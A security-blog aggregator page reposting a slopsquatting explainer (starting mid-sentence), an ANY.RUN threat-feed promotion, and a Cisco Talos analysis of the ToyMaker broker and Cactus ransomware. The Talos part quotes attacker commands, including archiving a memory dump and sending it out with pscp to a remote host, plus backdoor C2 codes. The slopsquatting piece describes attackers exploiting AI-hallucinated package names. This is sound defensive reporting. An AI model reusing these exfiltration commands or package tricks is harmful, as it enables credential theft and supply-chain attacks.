All of the can provoke a new generation of attacks on open-source repositories, which has already been dubbed “slopsquatting” by analogy with typosquatting. In this case, squatting is made possible not by names with typos, but by names from AI slop (low-quality output). Because AI-generated code repeats package names, attackers can run popular models, find recurring hallucinated package names in the generated code, and publish real — and malicious — libraries with these same names. If someone mindlessly installs all packages referenced in the AI-generated code, or the AI assistant installs the packages by itself, a malicious dependency gets injected into the compiled application, exposing the supply chain to a full-blown attack (ATT&CK T1195.001). This risk is set to rise significantly with the advance of vibe coding — where the programmer writes code by giving instructions to AI with barely a glance at the actual code produced.
Given that all major open-source repositories have been hit by dozens of malicious packages this past year (1, 2), and close to 20,000 malicious libraries have been discovered in the same time period, we can be sure that someone out there will try to conveyorize this new type of attack. This scenario is especially dangerous for amateur programmers, as well as for corporate IT departments that solve some automation tasks internally.
How to stop slopsquatting and use AI safely
Guidelines on the safe implementation of AI in development already exist (for example, OWASP, NIST and our own), but these tend to describe a very broad range of measures, many of which are long and complicated to implement. Therefore, we’ve compiled a small subset of easy-to-implement measures to address the specific problem of hallucinated packets:
Make source-code scanning and static security testing part of the development pipeline. All code, including AI-generated, must meet clear criteria are: no embedded tokens or other secrets; use of correct versions of libraries and other dependencies, and so forth. These tasks are well integrated into the CI/CD cycle — for example, with the help of our Kaspersky Container Security.
Introduce additional AI validation cycles where the LLM checks its own code for errors, to reduce the number of hallucinations. In addition, the model can be prompted to analyze the popularity and usability of each package referenced in a project. Using a prebuilt database of popular libraries to fine-tune the model and allow retrieval-augmented generation (RAG) also reduces the number of errors. By combining all these methods, the authors of the study were able to cut the number of hallucinated packages to 2.4% for DeepSeek and 9.3% for CodeLlama. Unfortunately, both figures are too far off zero for these measures to suffice.
Ban the use of AI assistants in coding critical and trusted components. For non-critical tasks where AI-assisted coding is allowed, assign a component developer to build a code review process. For the review, there needs to be a checklist tailored to AI code.
Draw up a fixed list of trusted dependencies. AI assistants and their flesh-and-blood users must have limited scope to add libraries and dependencies to the code — ideally, only libraries from the organization’s internal repository, tested and approved in advance, should be available.
Train developers. They must be well versed in AI security in general, as well as in the context of AI use in code development.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2025-04-23 19:06:462025-04-23 19:06:46What is slopsquatting, and how to protect your organization
When data meets automation, two pillars of modern tech converge to create something smarter: Threat Intelligence Feeds. Real-time insights, machine-speed decisions, and a global perspective — all working together to outsmart threats before they become incidents.
ANY.RUN’s TI Feeds are structured, continuously updated streams of fresh threat data. They contain network-based IOCs — IP addresses, domain names, and URLs — and are enriched by additional context-providing indicators like file hashes and port indicators.
The Feeds enhance threat detection capabilities of security systems, enable SOC teams to quickly mitigate attacks, including emerging malware and persistent threats.
Source, Structure, Benefits of ANY.RUN’s TI Feeds
You can download a free sample of Threat Intelligence Feeds in STIX or MISP format
The indicators are pre-processed using proprietary algorithms and whitelists to minimize false positives, ensuring high accuracy and relevance. Each indicator of compromise is enriched with contextual metadata providing deeper insights into the threat.
This means that an IP, URL, or domain in TI Feeds are enriched with:
External references: Links to relevant sandbox sessions.
Label: Name of the malware family or campaign.
Detection timestamps: last/first seen dates provide a timeline to understand if a threat is ongoing or historical.
Related objects: IDs of files and network indicators related to the IOC.
Score: Value representing the severity level of the IOC.
ANY.RUN’s TI Feeds come in STIX or MISP format with indicators of your choice. Set up a test sample to start leveraging actionable IOCs data in your security operations. ANY.RUN also runs a dedicated MISP instance that you can synchronize your server with or connect to your security solutions. To get started, contact our team via this page.
By delivering insights into threats and their indicators of compromise (OCs), TI Feeds support organizations across multiple phases of incident response: Incident Triage, Threat Hunting, and Post-Incident Analysis.
Boost detection and expand threat coverage in your SOC with TI Feeds from ANY.RUN
Incident Triage involves assessing and prioritizing security alerts to determine their severity and potential impact. This must be done quickly and yet precisely, saving analysts from wasting time on false positives and highlighting critical true positives.
TI Feeds streamline this process by providing contextual data to validate and enrich alerts, enabling faster and more accurate decision-making.
TI Feeds for Triage:
Correlation with Known Threats: Feeds supply IOCs (e.g., malicious IPs, domains, file hashes) that can be cross-referenced with incoming alerts to confirm whether an incident is legitimate or a false positive.
Prioritization: Feeds provide threat severity scores and context (e.g., association with a known ransomware group) to help security teams sort out incidents that pose the greatest risk.
Automation: Integration with Security Information and Event Management (SIEM) systems or Security Orchestration, Automation, and Response (SOAR) platforms allows TI Feeds to automatically enrich alerts with relevant threat data, reducing manual effort.
Example
A financial institution receives an alert from its intrusion detection system (IDS) about a suspicious outbound connection to an unfamiliar IP address. A TI Feed identifies the IP as part of a command-and-control (C2) server linked to Lynx ransomware. Armed with this information, the team prioritizes the incident as high-severity, immediately isolates the affected endpoint, and escalates it for further investigation, avoiding a potential data breach.
Business Impact
Reduces Mean Time to Detect (MTTD) by quickly validating alerts.
Minimizes resource waste on false positives, allowing focus on critical incidents.
Enhances compliance by ensuring timely response to high-risk threats.
ANY.RUN’s TI Feeds are updated every few hours, pulling fresh IOCs from over 16,000 daily public tasks submitted by its community. This near real-time delivery ensures organizations can respond to emerging threats almost immediately after they are detected in the wild.
Threat Hunting
Enriching Network Data: Feeds supply IOCs that can be correlated with network logs, endpoint data, or user activity to uncover anomalies.
Guiding Hypothesis Development: TI Feeds enriched with contextual data provide the basis for further malware, attack, or actor investigation. Enabled to proceed from IOCs to TTPs, hunters can craft targeted hypotheses about potential threats.
Proactive Defense: By highlighting emerging threats (e.g., new exploit kits or phishing campaigns), TI Feeds allow hunters to search for related activity before an attack fully unfolds.
Example
A retail company’s threat-hunting team learns from their TI Feed about a new phishing campaign targeting e-commerce platforms with a specific malicious domain and a unique file hash for a ransomware payload. The team uses this intelligence to search their network logs for any connections to the domain or instances of the file hash.
They discover a single endpoint that attempted to access the domain but was blocked by the firewall. Further investigation reveals a phishing email that evaded initial detection. The team neutralizes the threat by quarantining the endpoint and updating email filters, preventing a potential ransomware outbreak.
Business Impact
Prevents incidents by identifying threats before they cause harm.
Strengthens proactive security posture, reducing the likelihood of successful attacks.
Protects brand reputation by avoiding customer data exposure.
Post-Incident Analysis
Post-Incident Analysis focuses on understanding the root cause of an incident, assessing its impact, and improving future defenses. TI Feeds provide critical context to reconstruct the attack, identify gaps in security, and build remediation strategies.
ANY.RUN’s TI Feeds draw from a vast dataset generated by a diverse community of 500,000 analysts and teams of 15,000 enterprises. This scale ensures broad coverage of threats, including zero-day exploits and emerging malware, tailored to various industries. It helps teams map incidents to global trends.
TI Feeds in Post-Incident Analysis
Attack Reconstruction: Feeds supply detailed intelligence on threat actors and associated IOCs, helping teams trace the attack’s origin and progression.
Gap Identification: By comparing the incident to known threat patterns, TI Feeds reveal weaknesses in defenses (e.g., unpatched vulnerabilities or misconfigured systems).
Retrospective Analysis: Newly published threat intel can be used to re-analyze old data. This helps identify if earlier, undetected activity was related to a known campaign.
Example
After a manufacturing company suffers a data breach involving stolen intellectual property, the incident response team uses their TI Feed to analyze the attack. The feed reveals that the breach was caused by a spear-phishing campaign linked to a nation-state actor known for targeting industrial sectors.
Since ANY.RUN’s Feeds provide links to sandbox analyses of the phishing samples, the team can extract the attacker’s TTPs, including the use of a specific exploit in an unpatched software version and a custom PowerShell script for data exfiltration.
The team can now patch the vulnerability, deploy new endpoint detection rules to flag similar scripts, and conduct employee training on recognizing spear-phishing emails. Additionally, the feed’s geopolitical context prompts the company to enhance monitoring of critical R&D systems.
Business Impact
Reduces Mean Time to Recover (MTTR) by guiding effective remediation
Strengthens long-term resilience by addressing root causes and vulnerabilities
Supports compliance by documenting lessons learned and mitigation steps for audits
Ways TI Feeds Support Organizational Efficiency
ANY.RUN’s TI Feeds are designed for easy integration with SIEM, SOAR, firewalls, and other security platforms, supporting formats like STIX and MISP. This ensures automated ingestion of IOCs, streamlining workflows and enhancing existing tools’ effectiveness.
By integrating real-time, high-quality threat data with automation, TI Feeds enhance organizational resilience, reduce risks, and support informed decision-making. Their most important benefits that align with business objectives and KPIs are:
1. Early Detection Capabilities
TI Feeds enable identification of potential risks before they escalate into costly incidents. By identifying malware or phishing campaigns at their inception, TI Feeds help businesses avoid disruptions, protect customer trust, and safeguard revenue streams.
Learn more about ANY.RUN’s TI Feeds
See what types of indicators are available in our feeds with examples
Read post
2. Faster Response Times
TI Feeds significantly shorten the time to identify and mitigate threats by correlating threat data with ongoing incidents. Faster response times contribute to KPIs like Mean Time to Detect (MTTD) and Mean Time to Respond (MTTR), which are critical for minimizing the impact of security breaches.
Addressing breaches promptly reduces financial losses, protects brand reputation, and ensures compliance with regulatory requirements (e.g., GDPR, CCPA).
3. Informed Decision-Making
TI Feeds give organizations actionable intelligence, enabling data-driven decisions that align cybersecurity strategies with business goals. A clear picture of the threat landscape helps business leaders prioritize investments in security controls, employee training, or third-party partnerships, driving long-term resilience and competitive advantage.
4. Proactive Defense
TI Feeds shift organizations from reactive to proactive cybersecurity, anticipating threats and preventing incidents before they occur. It improves KPIs like the percentage of prevented incidents, reduction in remediation costs, and increased system uptime
Conclusion
ANY.RUN’s Threat Intelligence Feeds deliver significant value by combining high-quality, low-noise data, near real-time updates, a massive community-driven dataset, seamless integration, and unique sandbox-driven insights.
These benefits directly enhance Incident Triage by speeding up alert validation, Threat Hunting by enabling proactive threat discovery, and Post-Incident Analysis by providing detailed context for remediation.
By integrating TI Feeds into incident response workflows, organizations can minimize damage, enhance security posture, and align cybersecurity efforts with business objectives.
About ANY.RUN
ANY.RUN helps more than 500,000 cybersecurity professionals worldwide. Our interactive sandbox simplifies malware analysis of threats that target both Windows and Linux systems. Our threat intelligence products, TI Lookup, YARA Search, and Feeds, help you find IOCs or files to learn more about the threats and respond to incidents faster.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2025-04-23 11:07:252025-04-23 11:07:25How Threat Intelligence Feeds Help During Incident Response
In 2023, Cisco Talos discovered an extensive compromise in a critical infrastructure enterprise consisting of a combination of threat actors.
From initial access to double extortion, these actors slowly and steadily compromised a multitude of hosts in the network using a combination of various dual-use remote administration, SSH and file transfer tools.
The Initial Access Broker (IAB), whom Talos calls “ToyMaker” and assesses with medium confidence is a financially motivated threat actor, exploits vulnerable systems exposed to the internet. They deploy their custom-made backdoor we call “LAGTOY” and extract credentials from the victim enterprise. LAGTOY can be used to create reverse shells and execute commands on infected endpoints.
A compromise by LAGTOY may result in access handover to a secondary threat actor. Specifically, we’ve observed ToyMaker handover access to Cactus, a double extortion gang who employed their own tactics, techniques and procedures (TTPs) to carry out malicious actions across the victim’s network.
Turnaround time from ToyMaker to Cactus
Intrusion analysis across various endpoints enabled Talos to build a timeline of events from initial compromise to access handover to subsequent secondary malicious activity. The following is a high-level timeline of events:
Day of activity
Type of malicious activity
Threat actor
Initial compromise
User enumeration
Preliminary recon
Fake user creation
Credential extraction via Magnet RAM Capture
ToyMaker
+2 day(s)
Deploy LAGTOY implant
ToyMaker
Lull in activity for 3 weeks
+3 weeks aka Cactus day 0
Endpoint enumeration
Cactus
Cactus day 2
Server and file enumeration
Indicator removal
Cactus
Cactus day 2 and 3
Proliferation through enterprise
Cactus
Cactus day 4
Archiving sensitive data for exfiltration – extortion
Malicious account creations for ransomware deployment
Cactus
Cactus day 12
Delete volume shadow copies
Boot recovery modifications
Cactus
ToyMaker’s TTPs and tools
After the initial compromise, ToyMaker performed preliminary reconnaissance, credential extraction and backdoor deployment within the span of a week, after which they took no further activity. Talos did not observe any victim-specific data exfiltration nor did we observe attempts to discover and pivot to other valuable endpoints. After a lull in activity of approximately three weeks, we observed the Cactus ransomware group make its way into the victim enterprise using credentials stolen by ToyMaker. Based on the relatively short dwell time, the lack of data theft and the subsequent handover to Cactus, it is unlikely that ToyMaker had any espionage-motivated ambitions or goals.
Talos therefore assesses with medium confidence that ToyMaker is a financially-motivated Initial Access Broker (IAB) who acquires access to high value organizations and then transfers that access to secondary threat actors who usually monetize the access via double extortion and ransomware deployment.
The disparity in TTPs and timelines between the initial access conducted by ToyMaker and the secondary activity conducted by Cactus requires that both threats be modeled separately. However, it is imperative to establish relationships between the two. In fact, similar connections need to be incorporated into paradigms used for threat modeling any suspected IABs. In subsequent blogs, Talos will propose a new methodology for modeling and tracking compartmentalized and yet somewhat connected threats.
ToyMaker has been known to use a custom malware family — a backdoor Talos tracks as LAGTOY. ToyMaker usually infiltrates an organization’s environment by successfully exploiting a known vulnerability in an unpatched internet-facing server. Successful compromise almost immediately results in rapid reconnaissance of the system:
Following this, the actor starts an SSH listener on the endpoint using the Windows OpenSSH package (sshd.exe). The endpoint then receives a connection from another infected host on the network that creates a binary named ‘sftp-server.exe’ which is the SFTP server module of OpenSSH. sftp-server.exe then connects to a remote host to download the Magnet RAM Capture executable:
Magnet RAM Capture is a freely available forensics tool used to obtain a memory dump of the host, from which credentials can be harvested. This tactic likely explains the high number of compromised systems that Talos identified during this campaign.
The memory dump is then archived using the 7za.exe archive creation command [T1560]:
7za.exe a -p -mmt2 -mhe 1.7z 1.r
Subsequently the archive is exfiltrated from the endpoint using PuTTY’s SCP utility (pscp) [T1048]:
pscp.exe-P 53 1.7z root@<Remote_IP>:/root
Once the attackers have obtained the memory dump, they use the sftp-server.exe connection again to download and execute a custom made reverse shell implant we’re calling “LAGTOY”.
LAGTOY is persisted on the system by creating a service for it [T1543]:
LAGTOY is a simple yet effective implant. The backdoor is called HOLERUN by Mandiant. It is meant to periodically reach out to the hard-coded C2 server and accept commands to execute on the infected endpoint. It is installed on the system as part of a service and contains rudimentary anti-debugging checks before initiating connections to the C2.
LAGTOY execution logic.
As an anti-debug technique, the malware registers a custom unhandled exception filter using the kernel32!SetUnhandledExceptionFilter(). If the malware is running under a debugger, the custom filter won’t be called and the exception will be passed to the debugger. Therefore, if the unhandled exception filter is registered and the control is passed to it, then the process is not running with a debugger.
LAGTOY is intended to run on the infected system as a service with the name ‘WmiPrvSV’.
Both the C2 IP address and the protocol port are hardcoded into LAGTOY. The communication is done over port 443 with a raw socket — not using TLS as one would expect on this TCP port.
Command and control communication.
The C2 will send specific administration codes to LAGTOY:
‘#pt’ : Stop service.
‘#pd’: Break from the current execution chain and check if the service has been stopped. If stopped then Sleep for a specific time period and re-initiate connection to the C2.
‘#ps’: Simply create the process/command specific.
If the code doesn’t begin with ‘#’ then simply execute the provided command or process name on the endpoint.
Command recognition logic of LAGTOY.
Compared with the sample discovered in 2022 by Mandiant, this sample added the ‘#ps’ handler for creating process for command.
Sample in 2022 does not have the ‘#ps’ parameter.
Time-based execution
LAGTOY uses a unique time-based logic to decide whether it needs to execute commands or Sleep for a specific time period. Talos assesses with high confidence that this logic is a novel custom built unique to the LAGTOY family of implants.
LAGTOY is able to process three commands from the C2 with a Sleep interval of 11000 milliseconds between them. During its beaconing cycle it will record the last successful time of C2 communications and successful command execution. If the commands issued by the C2 have been failing for at least 30 minutes then the implant will send a message to the C2 informing it of the failure to execute commands.
LAGTOY has a watchdog routine embedded. If it has been running for a cumulative time of more than 60 minutes, it will stop executing commands and then check if the service has been stopped. If the service is still active then the implant will reinitiate connections to the C2.
Overall timing and C2 communications logic of LAGTOY.
ToyMaker gives way to ransomware cartels
Almost a month after ToyMaker established access to the victim enterprise, the actor passed on the access to a secondary threat actor, a Cactus ransomware affiliate, who primarily conducts ransomware and double extortion operations.
The Cactus gang conducted their own reconnaissance and persistence, deploying their own set of malware instead of using LAGTOY as a vehicle into the enterprise. Furthermore, they initially accessed the compromised endpoint using compromised user credentials obtained earlier by ToyMaker using the Magnet RAM Capture tool.
Initial recon and network scans
Cactus immediately began conducting network scans to identify systems of interest and proliferation. To spread across the network, they first ran a WSMAN discovery script to enumerate all endpoints configured to handle PowerShell remoting.
The harvested credentials provided ToyMaker access to a multitude of systems, on which the threat actor performed reconnaissance for valuable information. These files were either archived and then exfiltrated using multiple dual-use tools such as 7zip and curl or extracted directly using file transfer utilities such as WinSCP [T1560, T1048]:
In another instance, the attackers created reverse shells using OpenSSH, where a scheduled task was created to connect to the C2 server on an hourly basis to accept and execute commands:
Cactus ransomware group takes its operational security seriously. They remove access to the file that contains the SSH private key used to exfiltrate information. This prevents the victim from reading the key under normal circumstances.
Booting a system into Safe Mode could be motivated by the intention to disable security products due to the fact that the system loads a minimal set of drivers and services. Some security products might be inactive or limited under Safe Mode, and the threat actor could leverage this to modify registry keys or settings to disable the security products completely [T1562.001].
Metasploit injected binaries
Cactus also extensively uses Metasploit shellcode-injected copies of the Windows-based binaries Putty and ApacheBench, which is a benchmarking tool for Apache HTTP servers to execute code on the compromised systems. These will contact the same remote server used to host the portable eHorus agent, 51[.]81[.]42[.]234, over Ports 53, 443, 8343 and 9232. Cactus additionally employed ELF binaries generated by Metasploit communicating with the same remote C2 51[.]81[.]42[.]234.
Metasploit shellcode communicating with the remote server.
Coverage
Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.
Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.
Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.
Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
Cisco Secure Access is a modern cloud-delivered Security Service Edge (SSE) built on Zero Trust principles. Secure Access provides seamless transparent and secure access to the internet, cloud services or private application no matter where your users work. Please contact your Cisco account representative or authorized partner if you are interested in a free trial of Cisco Secure Access.
Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.
Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.
Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.
Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00adminhttps://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.pngadmin2025-04-23 10:06:462025-04-23 10:06:46Introducing ToyMaker, an Initial Access Broker working in cahoots with double extortion gangs
